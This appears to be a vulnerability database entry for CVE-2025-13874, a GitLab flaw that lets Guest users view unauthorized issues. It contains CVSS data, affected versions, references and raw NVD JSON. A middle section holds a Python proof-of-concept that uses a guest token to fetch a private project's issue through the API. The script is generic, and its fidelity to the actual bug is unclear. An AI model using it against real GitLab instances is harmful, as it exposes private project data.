CVE-2025-13874

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.1 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with Guest permissions to view issues in projects they were not authorized to access.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GitLab CE/EE >= 15.1, < 18.9.7

GitLab CE/EE >= 18.10, < 18.10.6

GitLab CE/EE >= 18.11, < 18.11.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Configuration
TARGET_URL = "https://your-gitlab-instance.com"
PRIVATE_PROJECT_ID = "123"  # ID of the target private project
PRIVATE_ISSUE_IID = "1"    # Internal ID of the issue
ATTACKER_TOKEN = "glpat-guest_token_here" # Guest user's token

# Headers
headers = {
    "Authorization": f"Bearer {ATTACKER_TOKEN}",
    "Content-Type": "application/json"
}

# Exploit attempt: Accessing private issue via API
# GitLab API endpoint: /api/v4/projects/:id/issues/:issue_iid
endpoint = f"{TARGET_URL}/api/v4/projects/{PRIVATE_PROJECT_ID}/issues/{PRIVATE_ISSUE_IID}"

try:
    response = requests.get(endpoint, headers=headers, timeout=10)
    
    if response.status_code == 200:
        print("[+] Vulnerability Confirmed!")
        print("[+] Issue Details Leaked:")
        print(response.json())
    else:
        print(f"[-] Failed. Status Code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13874
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13874
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13874/
[4] VulDB https://vuldb.com/cve/CVE-2025-13874
[5] https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/
[6] https://gitlab.com/gitlab-org/gitlab/-/work_items/582634
[7] https://hackerone.com/reports/3445398

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13874", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:20.617", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.1 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with Guest permissions to view issues in projects they were not authorized to access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/582634", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3445398", "source": "[email protected]"}]}}